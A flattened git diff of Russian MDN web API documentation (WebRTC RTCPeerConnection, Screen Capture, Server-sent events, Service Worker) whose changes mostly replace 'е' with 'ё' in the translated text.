            Для изменения currentLocalDescription, вызовите метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, который запускает серию событий, приводящих к присвоению значения. Более подробно о том, что точно происходит и почему изменения происходят не сразу, смотрите   {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.

            @@ -34,7 +34,7 @@ if (sd) { sd.sdp + "'"); } else { - alert("Локальной сессии еще нет."); + alert("Локальной сессии ещё нет."); } diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html index a894369844..8793f0e379 100644 --- a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription ---

            {{WebRTCSidebar}}

            -

            Только для чтения свойство RTCPeerConnection.currentRemoteDescription возвращает объект  {{domxref("RTCSessionDescription")}} , представляющий удаленную сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удаленным пиром. 

            +

            Только для чтения свойство RTCPeerConnection.currentRemoteDescription возвращает объект  {{domxref("RTCSessionDescription")}} , представляющий удалённую сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удалённым пиром. 

            Для изменения значения свойства currentRemoteDescription, вызовите метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}, который запускает серию событий, приводящих к установке нового значения. Подробнее о том, что точно происходит и почему изменение значения не происходит немедленно, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.

            @@ -19,7 +19,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription

            Возвращаемое значение

            -

            Текущий объект описания, представляющий удаленную сторону соединения, если она присутствует. Если ни один объект описания не установлен, значением будет null.

            +

            Текущий объект описания, представляющий удалённую сторону соединения, если она присутствует. Если ни один объект описания не установлен, значением будет null.

            Пример

            diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html index 8bd86fa3e5..4cf9d46d46 100644 --- a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html +++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event ---
            {{WebRTCSidebar}}
            -

            Событие icecandidate отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удаленному клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удаленный клиент (remote peer) смог добавить его в свой набор удаленных кандидатов (remote candidates).

            +

            Событие icecandidate отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удалённому клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удалённый клиент (remote peer) смог добавить его в свой набор удалённых кандидатов (remote candidates).

            1
            Режим подсчета каналовРежим подсчёта каналов "clamped-max"
            @@ -34,7 +34,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event

            Делимся (Sharing) новым кандидатом

            -

            В основном события icecandidate происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удаленному клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.

            +

            В основном события icecandidate происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удалённому клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.

            rtcPeerConnection.onicecandidate = (event) => {
   if (event.candidate) {
@@ -45,7 +45,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event
 }
            -

            Удаленный клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).

            +

            Удалённый клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).

            Indicating the end of a generation of candidates

            diff --git a/files/ru/web/api/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/index.html index 5103da41dc..676d536252 100644 --- a/files/ru/web/api/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection ---

            {{APIRef('WebRTC')}}

            -

            Интерфейс RTCPeerConnection представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удаленным пиром на удаленном компьютере. Он предоставляет методы для соединения с удаленным участником соединения, обслуживания, мониторинга и закрытия соединения.

            +

            Интерфейс RTCPeerConnection представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удалённым пиром на удалённом компьютере. Он предоставляет методы для соединения с удалённым участником соединения, обслуживания, мониторинга и закрытия соединения.

            {{InheritanceDiagram}}

            @@ -17,7 +17,7 @@ translation_of: Web/API/RTCPeerConnection
            {{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}
            -
            Создает новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определенным объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..
            +
            Создаёт новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определённым объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..

            События 

            @@ -29,10 +29,10 @@ translation_of: Web/API/RTCPeerConnection
            Событие объекта RTCPeerConnection возникает, когда общий статус объекта соединения RTCPeerConnection изменился.
            Так же, доступно через свойство установки обработчика события  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.
            {{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}
            -
            Событие объекта RTCPeerConnection возникает, когда удаленный пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}}  в текущее соединение.
            +
            Событие объекта RTCPeerConnection возникает, когда удалённый пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}}  в текущее соединение.
            Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.
            {{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}
            -
            Событие объекта RTCPeerConnection возникает, когда  специальный объект ICE кандидата (RTCIceCandidate) сгенерирован RTCPeerConnection и готов для передачи удаленному пиру по каналу сигнализации.Сам сгенерированный объект кандидата передается в параметр вызванного обработчика. 
            +
            Событие объекта RTCPeerConnection возникает, когда  специальный объект ICE кандидата (RTCIceCandidate) сгенерирован RTCPeerConnection и готов для передачи удалённому пиру по каналу сигнализации.Сам сгенерированный объект кандидата передаётся в параметр вызванного обработчика. 
            Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}.
            {{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}
            Событие типа ошибки  {{domxref("RTCPeerConnectionIceErrorEvent")}} , возникает на объекте соединения при генерации ICE кандидата (RTCIceCandidate), если при этом возникла ошибка. Свойства объекта ошибки, возвращаемого в обработчик,  описывают подробности ошибки.
            @@ -41,10 +41,10 @@ translation_of: Web/API/RTCPeerConnection
            Событие объекта RTCPeerConnection возникает при изменении статуса ICE соединения. К примеру, ICE соединение разорвано.
            Так же, доступно через свойство установки обработчика события{{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} .
            {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}
            -
            Событие объекта RTCPeerConnection, возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что :  согласование соединения ICE еще не началось (статус равен значению "new"); согласование соединения ICE началось (статус равен значению "gathering"); согласование ICE  соединения завершено (статус равен значению "complete").
            +
            Событие объекта RTCPeerConnection, возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что :  согласование соединения ICE ещё не началось (статус равен значению "new"); согласование соединения ICE началось (статус равен значению "gathering"); согласование ICE  соединения завершено (статус равен значению "complete").
            Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} .
            {{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}
            -
            Событие объекта RTCPeerConnection возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов  {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет свое значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.
            +
            Событие объекта RTCPeerConnection возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов  {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет своё значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.
            Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}}.
            {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}
            Событие объекта RTCPeerConnection возникает, когда необходимо запустить согласование (пересогласование) ICE соединения; может произойти при первом открытии соединения , или при необходимости принятия изменений условий сети. Получатель должен ответить, создав предложение и отправив его другому партнеру. 
            @@ -83,7 +83,7 @@ translation_of: Web/API/RTCPeerConnection

            Перечисление RTCBundlePolicy 

            -

            Перечисление RTCBundlePolicy (политика сборки пакетов) определяет строковые константы, которые используются для запроса определенной политики при сборке  ICE кандидатов, в случае, если удаленный участник соединения (удаленная точка) не совместим со стандартом SDP BUNDLE standard  для объединения нескольких медиапотоков в один транспортный пакет.

            +

            Перечисление RTCBundlePolicy (политика сборки пакетов) определяет строковые константы, которые используются для запроса определённой политики при сборке  ICE кандидатов, в случае, если удалённый участник соединения (удалённая точка) не совместим со стандартом SDP BUNDLE standard  для объединения нескольких медиапотоков в один транспортный пакет.

             Примечание : В технических терминах BUNDLE (пакет) позволяет всем медиапотокам между двумя пирами проходить через один 5 - ти элементный кортеж (тип транспортного протокола передачи сообщений при установки  TCP, UDP, и ICMP соединений, состоящий из пяти элементов анализа данных). То есть, с одного IP-адреса и порта на одном узле на один IP-адрес и порт на другом узле с использованием одного и того же транспортного протокола.

            @@ -100,16 +100,16 @@ translation_of: Web/API/RTCPeerConnection
            - + - +
            "balanced" -

            Сбалансированный. Агент ICE изначально создает по одному объекту  {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если  удаленная конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.

            +

            Сбалансированный. Агент ICE изначально создаёт по одному объекту  {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если  удалённая конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.
            "max-compat"Максимально совместимый. Агент ICE изначально создает один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удаленная точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортахМаксимально совместимый. Агент ICE изначально создаёт один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удалённая точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах
            "max-bundle"Максимальный пакет. Агент ICE изначально создает только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удаленная  точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.Максимальный пакет. Агент ICE изначально создаёт только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удалённая  точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.
            @@ -128,15 +128,15 @@ translation_of: Web/API/RTCPeerConnection "new" - ICE агент собирает адреса или ожидает получения удаленных кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу. + ICE агент собирает адреса или ожидает получения удалённых кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу. "checking" - ICE агент получил один или несколько удаленных кандидатов и проверяет парность локального и удаленного кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но еще не обнаружил пару, соответствующую устанавливаемому удаленному соединению.Не исключено, что сборка кандидатов продолжиться. + ICE агент получил один или несколько удалённых кандидатов и проверяет парность локального и удалённого кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но ещё не обнаружил пару, соответствующую устанавливаемому удалённому соединению.Не исключено, что сборка кандидатов продолжиться. "connected" - Совместимая парность локального и удаленного кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости. + Совместимая парность локального и удалённого кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости. "completed" @@ -144,11 +144,11 @@ translation_of: Web/API/RTCPeerConnection "failed" - Агент ICE проверил все пары кандидатов между собой и не нашел совместимых сопоставлений для всех компонентов соединения. Или не нашел совместимых соединений для некоторых компонентов.  + Агент ICE проверил все пары кандидатов между собой и не нашёл совместимых сопоставлений для всех компонентов соединения. Или не нашёл совместимых соединений для некоторых компонентов.  "disconnected" - Проверяет, что компоненты все еще подключены, хотя бы для одного объекта {{domxref("RTCPeerConnection")}}.  Это менее строгий тест, чем "failed", и он может периодически запускаться и разрешаться спонтанно в менее надежных сетях, или во время временного отключения. Когда проблема исчезнет, ​​соединение может вернуться в состояние "connected".  + Проверяет, что компоненты все ещё подключены, хотя бы для одного объекта {{domxref("RTCPeerConnection")}}.  Это менее строгий тест, чем "failed", и он может периодически запускаться и разрешаться спонтанно в менее надёжных сетях, или во время временного отключения. Когда проблема исчезнет, ​​соединение может вернуться в состояние "connected".  "closed" @@ -171,7 +171,7 @@ translation_of: Web/API/RTCPeerConnection "new" - Соединение только что создано, и еще не имело сетевой активности. + Соединение только что создано, и ещё не имело сетевой активности. "gathering" @@ -179,7 +179,7 @@ translation_of: Web/API/RTCPeerConnection "complete" - Агент ICE завершил сборку кандидатов. Если произойдет, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение  "gathering" и начнется пересборка кандидатов. + Агент ICE завершил сборку кандидатов. Если произойдёт, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение  "gathering" и начнётся пересборка кандидатов. @@ -202,7 +202,7 @@ translation_of: Web/API/RTCPeerConnection "public" {{obsolete_inline}} - Будут рассматриваться  ICE кандидаты, только имеющие публичные IP адреса. Удален в спецификации от 13 мая 2016 (working draft). + Будут рассматриваться  ICE кандидаты, только имеющие публичные IP адреса. Удалён в спецификации от 13 мая 2016 (working draft). "relay" @@ -233,11 +233,11 @@ translation_of: Web/API/RTCPeerConnection "connected" - Соединен. Каждый объект ICE передачи, использующийся соединением либо используется  (имеет статус "connected" или "completed") , либо закрыт  (имеет статус "closed"); кроме того, по крайней мере один объект передачи имеет статус либо  "connected" , либо "completed". + Соединён. Каждый объект ICE передачи, использующийся соединением либо используется  (имеет статус "connected" или "completed") , либо закрыт  (имеет статус "closed"); кроме того, по крайней мере один объект передачи имеет статус либо  "connected" , либо "completed". "disconnected" - Разъединен. По меньшей мере один из объектов ICE передачи в соединении имеет статус "disconnected"  и ни один из объекто передачи не находиться в статусе : "failed", "connecting", или  "checking". + Разъединён. По меньшей мере один из объектов ICE передачи в соединении имеет статус "disconnected"  и ни один из объекто передачи не находиться в статусе : "failed", "connecting", или  "checking". "failed" @@ -301,15 +301,15 @@ translation_of: Web/API/RTCPeerConnection "have-remote-offer" - Имеет удаленное предложение. Удаленный пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}. + Имеет удалённое предложение. Удалённый пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}. "have-local-pranswer" - Имеет локальный предварительный ответ. Предложение удаленного пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включенных в него  полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно. + Имеет локальный предварительный ответ. Предложение удалённого пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включённых в него  полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно. "have-remote-pranswer" - Имеет предварительный удаленный ответ. Предварительный удаленный ответ был получен и успешно применен в ответ на предложение, отправленное ранее и установленное методом setLocalDescription(). + Имеет предварительный удалённый ответ. Предварительный удалённый ответ был получен и успешно применён в ответ на предложение, отправленное ранее и установленное методом setLocalDescription(). "closed" {{obsolete_inline}} diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html index 072496379e..25eaa93c7f 100644 --- a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/RTCPeerConnection ---
            {{APIRef("WebRTC")}}
            -

            Конструктор RTCPeerConnection() возвращает  новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удаленным пиром (участником соединения)

            +

            Конструктор RTCPeerConnection() возвращает  новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удалённым пиром (участником соединения)

            Синтаксис

            diff --git a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html index d9d89652c2..7677339be1 100644 --- a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html +++ b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture

            В этой статье изучается использование программного интерфейса  Screen Capture и его метода {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} для захвата потока экрана (всего или его части), его записи или передачи через сессию WebRTC .

            -

            Примечание : Полезно отметить, что последние версии библиотеки WebRTC adapter.js  включают реализацию метода getDisplayMedia() для обмена изображениями с экрана на браузерах, которые его поддерживают, но еще не реализуют текущий стандартный интерфейс, который реализован в последних версиях  Chrome, Edge, и Firefox.

            +

            Примечание : Полезно отметить, что последние версии библиотеки WebRTC adapter.js  включают реализацию метода getDisplayMedia() для обмена изображениями с экрана на браузерах, которые его поддерживают, но ещё не реализуют текущий стандартный интерфейс, который реализован в последних версиях  Chrome, Edge, и Firefox.

            Захват содержимого экрана

            @@ -41,7 +41,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture .catch(err => { console.error("Error:" + err); return null; }); } -

            В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции startCapture() возвращают объект типа  {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съемку ?).

            +

            В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции startCapture() возвращают объект типа  {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съёмку ?).

            Смотрим {{anch("Options and constraints")}}, ниже, подробнее о том, как указать желаемый тип поверхности, а также о других способах настройки результирующего потока.

            @@ -55,13 +55,13 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture

            Видимые или логические  поверхности отображения

            -

            Для целей интерфейса Screen Capture API, поверхность отображения - это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединенные в одну поверхность, и монитор (или группу мониторов, объединенных в одну поверхность).

            +

            Для целей интерфейса Screen Capture API, поверхность отображения - это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединённые в одну поверхность, и монитор (или группу мониторов, объединённых в одну поверхность).

            Есть два типа поверхности дисплея. Видимая поверхность отображения - это поверхность, которая полностью видна на экране, например, переднее окно или вкладка или весь экран.

            Логическая поверхность отображения - это поверхность, которая частично или полностью скрыта, либо в некоторой степени перекрывается  другим объектом, либо полностью скрытая или находиться вне экрана. Эти поверхности обрабатываются по другому. Как правило, браузер предоставляет изображение, которое каким-то образом скрывает скрытую часть поверхности логического дисплея, например размытие или замена цветом или рисунком. Это сделано из соображений безопасности, поскольку контент, который не может быть просмотрен пользователем, может содержать данные, которыми они не хотят делиться.

            -

            Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушеванный контент, либо путем получения текущего содержимого скрытой части окна, либо путем предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.

            +

            Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушёванный контент, либо путём получения текущего содержимого скрытой части окна, либо путём предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.

            Свойства и ограничения

            @@ -96,7 +96,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture

            К примеру, если определить ограничение  {{domxref("MediaTrackConstraints.width", "width")}} для видео, оно применится как масштабирование видео, после того, как пользователь выберет область, и не устанавливает ограничение на размер самого источника.

            -

            Примечание : Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определенным контентом, ограничивая исходный список, пока не останется только один элемент.

            +

            Примечание : Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определённым контентом, ограничивая исходный список, пока не останется только один элемент.

            В процессе захвата экрана машина, которая обменивается содержимым экрана, будет отображать какую-то форму индикатора, чтобы пользователь знал, что обмен находиться в процессе.

            @@ -111,7 +111,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture

            До запуска скрипта, который будет запрашивать возможность обмена аудио, проверьте реализацию  {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} , для понимания браузерной совместимости с функциональностью захвата аудио в поток захвата экрана.

            -

            Чтобы запросить доступ к экрану с включенным звуком, параметры ниже передаются в метод getDisplayMedia():

            +

            Чтобы запросить доступ к экрану с включённым звуком, параметры ниже передаются в метод getDisplayMedia():

            const gdmOptions = {
   video: true,
@@ -119,7 +119,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
 }
            -

            Это дает пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства audio и video:

            +

            Это даёт пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства audio и video:

            const gdmOptions = {
   video: {
diff --git a/files/ru/web/api/selection/tostring/index.html b/files/ru/web/api/selection/tostring/index.html
index 63899ce9d7..0e1dede357 100644
--- a/files/ru/web/api/selection/tostring/index.html
+++ b/files/ru/web/api/selection/tostring/index.html
@@ -30,7 +30,7 @@ translation_of: Web/API/Selection/toString
 
 
            Этот метод возвращает выделенный текст.
            
 
-
            В JavaScript, этот метод вызывается автоматически, когда функция, которой он передается, требует строку:
            
+
            В JavaScript, этот метод вызывается автоматически, когда функция, которой он передаётся, требует строку:
            
 
 
            alert(window.getSelection()) // What is called
 alert(window.getSelection().toString())  // What is actually being effectively called.
diff --git a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
index 0bc2834743..bee580418a 100644
--- a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
+++ b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
@@ -11,11 +11,11 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events
 
 
            Получение событий от сервера
            
 
-
            Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект EventSource, который будет указывать на URI скрипта, который создает события. Например:
            
+
            Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект EventSource, который будет указывать на URI скрипта, который создаёт события. Например:
            
 
 
            const evtSource = new EventSource("ssedemo.php");
            
 
-
            Если файл с генератором событий размещен на другом домене, то должен быть создан новый объект EventSource в который следует передать помимо URI еще и словарь опций. Например, если предположить, что клиентский скрипт находится на example.com:
            
+
            Если файл с генератором событий размещён на другом домене, то должен быть создан новый объект EventSource в который следует передать помимо URI ещё и словарь опций. Например, если предположить, что клиентский скрипт находится на example.com:
            
 
 
            const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); 
 
            
@@ -49,7 +49,7 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events
 
 
            Код на стороне сервера, который отправляет события, должен отвечать, используя MIME-тип text/event-stream. Каждое уведомление отправляется в виде блока текста, оканчивающегося парой новых строк (\n) . Подробнее о формате потока событий см.  {{ anch("Event stream format") }}.
            
 
-
            {{Glossary("PHP")}} код, который мы используем для примера приведен ниже:
            
+
            {{Glossary("PHP")}} код, который мы используем для примера приведён ниже:
            
 
 
            date_default_timezone_set("America/New_York");
 header('Cache-Control: no-cache');
@@ -79,7 +79,7 @@ while (1) {
 }
 
            
 
-
            Приведенный выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа event).
            
+
            Приведённый выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа event).
            
 
 
            
 
            Примечание: Вы можете найти полный пример, который использует код, показанный в этой статье на GitHub - см. Simple SSE demo using PHP.
            
@@ -106,7 +106,7 @@ while (1) {
 
 
            Примечание: Строка комментария может использоваться, чтобы предотвратить тайм-аут соединений; сервер может периодически отправлять комментарий, чтобы поддерживать соединение.
            
 
-
            Каждое сообщение содержит одну или более строчек текста, которые перечисляют поля этого сообщения. Каждое имеет свое имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. 
            
+
            Каждое сообщение содержит одну или более строчек текста, которые перечисляют поля этого сообщения. Каждое имеет своё имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. 
            
 
 
            Поля
            
 
diff --git a/files/ru/web/api/service_worker_api/index.html b/files/ru/web/api/service_worker_api/index.html
index 7d52ed2334..f7b0bbb1cd 100644
--- a/files/ru/web/api/service_worker_api/index.html
+++ b/files/ru/web/api/service_worker_api/index.html
@@ -21,7 +21,7 @@ translation_of: Web/API/Service_Worker_API
 
 
            Концепция и использование Service Worker
            
 
-
            Service worker — это событийно-управляемый worker, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведет себя в определенных ситуациях (например, когда сеть не доступна).
            
+
            Service worker — это событийно-управляемый worker, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведёт себя в определённых ситуациях (например, когда сеть не доступна).
            
 
 
            Service worker запускается в контексте воркеров, поэтому он не имеет доступа к DOM и работает в потоке отдельном от основного потока JavaScript, управляющего вашим приложением, а следовательно — не блокирует его. Он призван быть полностью асинхронным; как следствие, синхронные API, такие как XHR и localStorage, в Service Worker'е использовать нельзя.
            
 
@@ -55,7 +55,7 @@ translation_of: Web/API/Service_Worker_API
 
 
            Установка производится в случае если загружаемый файл признается новым — либо отличным от уже установленного service worker (определяется через побайтовое сравнение), либо первым устанавливаемым service воркером для этой страницы/сайта.
            
 
-
            Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного ее завершения — активация.
            
+
